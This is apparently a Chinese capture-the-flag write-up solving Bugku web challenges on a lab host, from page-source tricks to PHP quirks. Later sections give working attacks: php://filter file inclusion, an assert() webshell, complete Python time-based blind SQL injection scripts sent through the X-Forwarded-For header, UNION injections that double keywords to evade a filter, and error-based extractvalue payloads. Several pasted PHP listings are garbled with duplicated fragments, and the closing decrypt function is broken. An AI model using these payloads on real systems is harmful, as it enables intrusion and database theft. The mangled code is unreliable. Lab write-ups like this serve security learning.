先打开F12看看,很容易发现在注释里面有flag。
把flag后面内容输入即可。
发现是一道及其简单的计算题(要是手上没有计算器有些题比较难算的话,可以点击题目换一道蛤,但是怎么换答案都是两位数以上的),输入答案,发现只能输入一位数,打开F12
发现他可输入字符长度为1,双击修改成10等位数,再输入正确答案,flag就出现了。
参考以下网址了解$_GET变量https://www.runoob.com/php/php-get.html
从带有 GET 方法的表单发送的信息,对任何人都是可见的(会显示在浏览器的地址栏)所以根据题目,当变量what恒等于flag时,输出flag,所以在网址后输入
?what=flag
注意 “?” 一定要是英文的。
参考了解此变量https://www.runoob.com/php/php-post.html
从带有 POST 方法的表单发送的信息,对任何人都是不可见的(不会显示在浏览器的地址栏)
用火狐的
这两个插件之一,不过第一个要money,功能差不多。
运行后flag就出来了
由已经学习过的$_GET函数为基础,这里出现了一个is_numeric()函数,用来判断()里是否为数字,了解此函数https://www.runoob.com/php/php-is_numeric-function.html
这题意思是,当变量num不是数字和数字字符串时执行下面内容,并先输出num再进行判断,num是否为1,若num为1,则输出flag。
所以输入?num=1e3此类值为1,却不是数字(科学计数法)
一打开链接就不停的弹出消息框,不断确定却没有有用消息弹出,勾起不再显示消息。没有头绪就先打开F12,发现了一串不知道什么
百度一下以开头的是ASCII码,根据ASCII码对照表写出密码即可。
可以先到一个网址了解hosts文件https://www.jianshu.com/p/eab9187d1462
我们只要把120.24.86.145 flag.baidu.com 复制到hosts文件中即可。
hosts文件一般在电脑 C:\Windows\System32\drivers\etc 中。一般来说直接修改hosts文件时保存不了的,我是先右键hosts文件,在属性—常规处把 “只读的√” 去掉
然后在 属性—安全 处单机user
点击编辑
把权限全部“√”
就可以用记事本打开,修改hosts文件后保存了
了解[PHP isset() 函数]
(https://www.runoob.com/php/php-isset-function.html)
isset() 函数用于检测变量是否已设置并且非 NULL。
如果已经使用 unset() 释放了一个变量之后,再通过 isset() 判断将返回 FALSE。
若使用 isset() 测试一个被设置成 NULL 的变量,将返回 FALSE。
同时要注意的是 null 字符("\0")并不等同于 PHP 的 NULL 常量。
了解PHP var_dump() 函数
var_dump() 函数用于输出变量的相关信息。
var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。
了解PHP preg_match() 函数
preg_match 函数用于执行一个正则表达式匹配。
正则表达式(regular expression)描述了一种字符串匹配的模式(pattern)
了解PHP eval() 函数
漏洞两个$$
第二个if是搜索是否与变量args匹配,若是则输出变量,了解/^\w等意思.正则只能输字符串和所以用超全局变量GLOBALS来配出所有变量
就能得到flag.
有个提示JSPFUCK是一种代码,用F12查看到JSPFUCK代码
放到F12的控制台中跑一下就得到了
不过我在火狐运行才有在360浏览器没有耶
弄了好久burp,每次下载解压后都没有可执行文件(旋风哭泣),但是Java已经装好了,求助大佬。
打开F12
看到一堆东西
看到最后一行,其实就是用unescape解码,输入解码后的p1加一串加p2,提交就得到flag
打开F12,没有发现任何东西,点击click me? no
出现test5,打开F12,没有发现
想到题目,于是http://123.206.87.240:8005/post/index.php?index.php(?是英文的)
发现和原来一样,并且发现test5 URL后的file,关键字提示,极大可能考文件包含漏洞(file inclusion)
直接读取index.php文件时,没有显示内容,猜测此文件有php代码,因为php文件作为代码执行,无法读取源代码,所以用伪协议读取文件
了解php://filter
read=convert.base64-encode : 以base64编码后读取
resource=index.php :对象文件是index.php
由于文件时以base64编码后读取的,所以无法执行,把文件内容直接打印出来
打开F12发现1p.html
访问查看其源代码view-source:http://123.206.87.240:8006/test/1p.html
看到一堆base64编码
解密后
";if(!$_GET[‘id’])
{
header(‘Location: hello.php?id=1’);
exit();
}
i d = id= id=_GET[‘id’];
a = a= a=_GET[‘a’];
b = b= b=_GET[‘b’];
if(stripos($a,’.’))
{
echo ‘no no no no no no no’;
return ;
}
d a t a = @ f i l e g e t c o n t e n t s ( data = @file_get_contents( data=@filegetcontents(a,‘r’);
if($data==“bugku is a nice plateform!” and i d = = 0 a n d s t r l e n ( id==0 and strlen( id==0andstrlen(b)>5 and eregi(“111”.substr( b , 0 , 1 ) , " 1114 " ) a n d s u b s t r ( b,0,1),"1114") and substr( b,0,1),"1114")andsubstr(b,0,1)!=4)
{
require(“f4l2a3g.txt”);
}
else
{
print “never never never give up !!!”;
}
?>
ÃÜ0
很容易注意到f4l2a3g.txt包含了flag,于是访问其源代码
view-source:http://123.206.87.240:8006/test/f4l2a3g.txt
得到flag
26.过狗一句话
调整好
explode()函数使用一个字符串分割另一个字符串,并返回由字符串组成的数组。既利用#把 p o c 分 割 成 的 字 符 串 ‘ a ′ ′ s ′ ′ s ′ ′ e ′ ′ r ′ ′ t ′ 组 成 数 组 然 后 把 poc分割成的字符串‘a''s''s''e''r''t'组成数组 然后把 poc分割成的字符串‘a′′s′′s′′e′′r′′t′组成数组然后把poc_1的数组连接起来赋给 p o c 2 最 后 poc_2 最后 poc2最后poc_2 ($ _GET [’ S '])既assert($_GET[‘S’])
由于用assert()函数传进来的s,有执行漏洞,如果’s’是字符串命令,那么一句话木马可通过assert()函数执行任意命令,但是原本存在的命令不可执行,如
assert(echo “hello world”; )则不能被执行。
所以通过s命令扫描目录,扫描当前目录:
%27是单引号的URL编码
扫描上级目录http://123.206.87.240:8010/?s=print_r(scandir(%27…/%27))
好的做到这里才发现这句话是真的
分享几个扫描目录的方法和利用此漏洞查询其他文件
先了解这些符号
补充 :
. :表示任意字符
:表示前面一个字符重复任意次(0次也可)
[ :punct : ]:表示任意得一个字符包括符号
/i:大小写不敏感
构造http://123.206.87.240:8002/web10/?id=key3key3key3key3key:/5/keya.
可以有多个答案。
看到提示input a,并且题目是MD5碰撞
可知部分ND5由0e开头,在php看作科学计数法,无论e后有什么0的任意次方都为0
选任意以0e开头的MD5值
一些MD5值
get传入一个
得flag
uname和id是GET,passwd是POST
uname不能等于passwd,但经过sha1处理得uname和passwd相等,并且经过urldecode解密的id等于margin时,输出flag
由于uname不能等于passwd,要让他们sha1()处理后相等,把这两个字段构造数组,sha1()不能处理数组,会返回false,两者皆返回false则相等
并通过在线加解密发现urldecode后的id相同
所以火狐run
此时nuame不等于passwd,但是shaa1处理后同为false,得到flag
就是$ f等于文件$ fn里面的内容,当ac(ac不为空)等于 f 时,输出flag。
fn是个文件,猜测有flag.txt
文件内容是flags
所以
得到flag
然后看见大佬有一个方法,不用盲猜
同时传递ac和fn并让传递的值相等
来自大佬
打开的时候心中窃喜好像题目没了,后来觉得这个404跟平时不一样,我上次看是在中间的。。
御剑扫描后台,发现
进入
然后直接到resusl.php
当x=password时
试了x=flag,不行
想起提示,试x=admin
可以了!
已经放出了源代码
error_reporting(0); //关闭错误报告
function getIp(){
i p = ′ ′ ; i f ( i s s e t ( ip = ''; if(isset( ip=′′;if(isset(_SERVER[‘HTTP_X_FORWARDED_FOR’])){
$ip = $_SERVER[‘HTTP_X_FORWARDED_FOR’];
}else{
$ip = $_SERVER[‘REMOTE_ADDR’];
}
$ip_arr = explode(’,’, $ip);
return $ip_arr[0];
}
$host=“localhost”;
$user="";
$pass="";
$db="";
c o n n e c t = m y s q l c o n n e c t ( connect = mysql_connect( connect=mysqlconnect(host, $user, $pass) or die(“Unable to connect”);
mysql_select_db($db) or die(“Unable to select database”);
i p = g e t I p ( ) ; e c h o ′ y o u r i p i s : ′ . ip = getIp(); echo 'your ip is :'. ip=getIp();echo′youripis:′.ip;
s q l = " i n s e r t i n t o c l i e n t i p ( i p ) v a l u e s ( ′ sql="insert into client_ip (ip) values (' sql="insertintoclientip(ip)values(′ip’)";
mysql_query($sql);
题目也说这是个注入题
开头关闭了错误报告,选择时间盲注
观察这道题,它的注入点在 X_FORWARDED_FOR 即XFF头
注入点寻找
通过explode()函数,相当于对我们的注入过滤了逗号
而时间盲注常用的条件语句if(exp1,exp2,exp3)和截取字符串语句substr(“string”,strat,length),limit(offset,len)等不能用了,选择 case when then else end 和substr() from 1 for 1、limit [len] offset [offset] 绕过
#coding=utf-8
import requests
import string
url='http://123.206.87.240:8002/web15/'
dic=string.ascii_letters+string.digits+string.punctuation #字典:包含所有字母,数字和标点
#爆库名
payload_database="1'+(select case when (substr(database() from {0} for 1)='{1}') then sleep(3) else 1 end)+'1"
#爆表数量
payload_tablenumber="1'+(select case when (select count(*) from information_schema.tables where table_schema='{0}')='{1}'then sleep(3) else 1 end)+'1"
#爆表名长度
payload_tablelength="1'+(select case when (select length(table_name) from information_schema.tables where table_schema='{0}' limit 1 offset {1}) = '{2}' then sleep(3) else 1 end)+'1"
#爆表名
payload_table_name="1'+(select case when (substr((select table_name from information_schema.tables where table_schema='{0}' limit 1 offset {1}) from {2} for 1)) = '{3}' then sleep(3) else 1 end)+'1"
#爆库
database_name=''
for i in range(1,10):
for j in dic:
try:
headers={'x-forwarded-for':payload_database.format(i,j)}
check=requests.get(url,headers=headers,timeout=3) #如果猜错了,等待三秒再继续循环,猜对了就进入except
except requests.exceptions.ReadTimeout:
database_name +=j
break
print('database::' + database_name)
#爆表数量
tablenumber=0
for i in range(1,5):
try:
headers = {'x-forwarded-for':payload_tablenumber.format(database_name, str(i))}
check=requests.get(url,headers=headers,timeout=3)
except requests.exceptions.ReadTimeout:
tablenumber=i
break
print('tablenumber::'+str(i))
#爆表名长度
length=0
for i in range(tablenumber):
for j in range(50):
try:
headers = {'x-forwarded-for':payload_tablelength.format(database_name,i,j)}
check=requests.get(url,headers=headers,timeout=3)
except requests.exceptions.ReadTimeout:
length=j
break
print(str(i+1)+ '::'+'length: '+str(length))
#爆表
table_name = ''
for k in range(1,length+1):
for j in dic:
try:
headers = {'x-forwarded-for':payload_table_name.format(database_name,i,k,j)}
check=requests.get(url,headers=headers,timeout=3)
except requests.exceptions .ReadTimeout:
table_name+= j
break
print(table_name)
结果
所有数据库名为web15,两个表,一个表名为client_ip另一个为flag
爆出flag的列和字段
爆列
import requests
import string
dic=string.ascii_letters + string.punctuation +string.digits
url='http://123.206.87.240:8002/web15/'
db='web15'
tb='flag'
#爆列数量
payload_cnum="1'+(select case when(select count(*) from information_schema.COLUMNS where TABLE_SCHEMA='{0}' and TABLE_NAME='{1}') = '{2}' then sleep(3) else 1 end)+'1"
#爆列长度
payload_clen="1'+(select case when (select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA='{0}' and TABLE_NAME='{1}' limit 1 offset {2}) = '{3}' then sleep(3) else 1 end)+'1"
#爆列名
payload_cname="1'+(select case when (substr((select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='{0}' and TABLE_NAME='{1}' limit 1 offset {2}) from {3} for 1)) = '{4}' then sleep(3) else 1 end)+'1"
#爆列数量
cnum=0
for i in range(50):
try:
headers = {'x-forwarded-for':payload_cnum.format(db,tb,i)}
check=requests.get(url,headers=headers,timeout=3)
except requests.exceptions.ReadTimeout:
cnum=i
print('cnum: '+str(cnum))
break
#爆列长度
len=0
for i in range (cnum):
for j in range(50):
try:
headers = {'x-forwarded-for':payload_clen.format(db,tb,i,j)}
check= requests.get(url,headers=headers,timeout=3)
except requests.exceptions.ReadTimeout:
len = j
print('No.' + str(i+1) + ' length : ' + str(len))
break
#爆列名
cname=''
for k in range(1,len + 1):
for j in dic:
try:
headers = {'x-forwarded-for':payload_cname.format(db,tb,i,k,j)}
check=requests.get(url,headers=headers,timeout=3)
except requests.exceptions.ReadTimeout:
cname += j
print(cname)
break
爆数据
import requests
import string
dic=string.digits +string.punctuation +string.ascii_letters
url='http://123.206.87.240:8002/web15/'
flag=''
payload_cflag="1'+(select case when(substr((select flag from flag) from {0} for 1)) = '{1}' then sleep(3) else 1 end)+'1"
for i in range(1,50):
for j in dic:
try:
headers={'x-forwarded-for':payload_cflag.format(i,j)}
check=requests.get(url,headers=headers,timeout=3)
except requests.exceptions.ReadTimeout:
flag+=j
break
print(flag)
看到?id=1则想到可能存在注入
判断 加单引号 ?id=1’ 报错,可能存在注入漏洞
再加–+注释符号,?id=1’–+ 正常,则存在注入漏洞
判断是否有注入漏洞
判断是否过滤:
?id=1’^(length(‘and’)!=0)
^是异或,当两个为真或为假则为假,返回错误页面
一个条件是真一个条件是假则返回正确页面
?id=1’恒为真,所以当返回错误页面,则and的长度==0,可知and被过滤
以此,测试
union,and,or,select被过滤,要双写或其他方法绕过
注意:order和information里面包含or,用以上方法测不出来,过滤or后两个单词长度也不为0
开始步骤:字段数–>爆库–>爆表–>爆列–>爆数据库
1.查询字段数
?id=1’ oorrder by 2–+正确
?id=1’ oorrder by 3–+报错
所以字段数为2(字段数大于2)
2.爆库
?id=-1’ ununionion seselectlect 1, database()–+
获得了当前所有数据库库名
3.爆表
?id=-1’ ununionion seselectlect 1, group_concat(table_name) from infoorrmation_schema.tables where table_schema=“web1002-1”–+
获得数据库所有表名flag1,hint
4.爆列
?id=-1’ ununionion seselectlect 1, group_concat(column_name) from infoorrmation_schema.columns where table_schema=“web1002-1” aandnd table_name=“flag1”–+
获取flag1表中的所有字段名flag1,address
5.爆数据
?id=-1’ ununionion seselectlect 1, group_concat(flag1) from flag1–+
获取flag1表中flag1字段的内容,是一个假的flag
接下来获取address的内容
?id=-1’ ununionion seselectlect 1, group_concat(address) from flag1–+
爆出了第二关地址,进入下一关
跟上一关差不多
没有被过滤
查询字段数
?id=1’ order by 2–+正常
?id=1’ order by 3–+报错就是i’m here消失了
爆库
会发现感觉跟报错一样但是查不出来哪里错了,然后错手一拉,发现字跟背景融为一体,太坑了吧!!
?id=1’ and extractvalue(1,concat(0x7e,database(),0x7e)–+
所以库名为web1002-2
爆表
?id=1’ and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=“web1002-2”),0x7e)))–+
表名为flag2
爆列
?id=1’ and (extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=“web1002-2” and table_name=“flag2”),0x7e)))–+
爆数据flag2
?id=1’ and (extractvalue (1, concat(0x7e,(select group_concat(flag2)from flag2),0x7e)))–+
还好没有再下一关,全部改成小写提交
下载文件,在PHP中打开分析
function encrypt($data,$key)
{
$key = md5('ISCC');//$key等于 ISCCM D5解密后的结果
$x = 0;
$len = strlen($data); //$为$data的长度
$klen = strlen($key); //$md5后的key长度
for ($i=0; $i < $len; $i++) { //让$char的长度和$data的长度相等,若len小于klen则为截取key前面与data长度相等
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
for ($i=0; $i < $len; $i++) {
$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);//把两个字符的ASCII值相加,128求余,得到ASCII值,再通过这个值转换为字符,拼起来
}
return base64_encode($str);//返回base64加密后的$str
}
返回的值已经在题目给出(看出提示一行是base64加密后的)
fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=
所以写一个PHP,逆向找出flag,就是$data
原本通过构造数组char,长度和data相同,然后把char和data数组两个下标相同的字符的ASCII值相加后128求余,得到一个ASCII值,再化为字符,以此类推把化成的字符组合为一起,成为一个新数组,有len个字符,再base64解码为str值
逆向:
一至key变量,和str的base64值–>解base64,由str长度可得len–>由len和key又得char–>char化为数组,每一个字符得ASCII值可知,str也是–>所以str的ASCII值乘128-key相应下标的ASCII值为相应下标的dataASCII值。
求余处两种情况
function decrypt($str)
{
$a = "729623334f0aa2784a1599fd374c120d";//md5解密后的$key
$k_len = strlen($a);
$tmp = $str;
$tmp = base64_decode($tmp);
$len = strlen($tmp);//得到len
$x = 0;
$char = "";
for($i=0;$i<$len;$i++){
if($x==$k_len){ //x加到跟$a长度一样时,数组重新从0开始拼接
$x=0;
}
$char .= $a[$x];
$x+=1;
}//得到$char
$d = array();
for($i=0;$i<$len;$i++){
array_push($d,ord($tmp[$i]));//拼接tmp的字符的ASCII值为数组,得到128求余后的字符串
}
$data = array();
$data1 = "";
$data2 = "";
foreach($d as $key => $array){
$i=$key;
if($i>=strlen($a)){
$i = $i - strlen($a);
}
$dd=value;//仅为当前拆分的每个数值
$ke=ord($a[$i]);//即是char每个元素的ASCII值
array_push($data,$dd);//同为$d
$data1 = chr(($dd + 128)-$ke);//$data+$char>=127
$data_key .= chr($dd-$ke);//$data+$char<=127
}
print("data=".$data1."
\n");
print("data=".$data2."
\n");
}
$str = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=";
decrypt($str);
?>
结果上下对比,有些字符用data1方法,有些用data2
得flag,注意F大写,有冒号
" .= "相当于连接
foreach
array_push()
chr
ord
参考大佬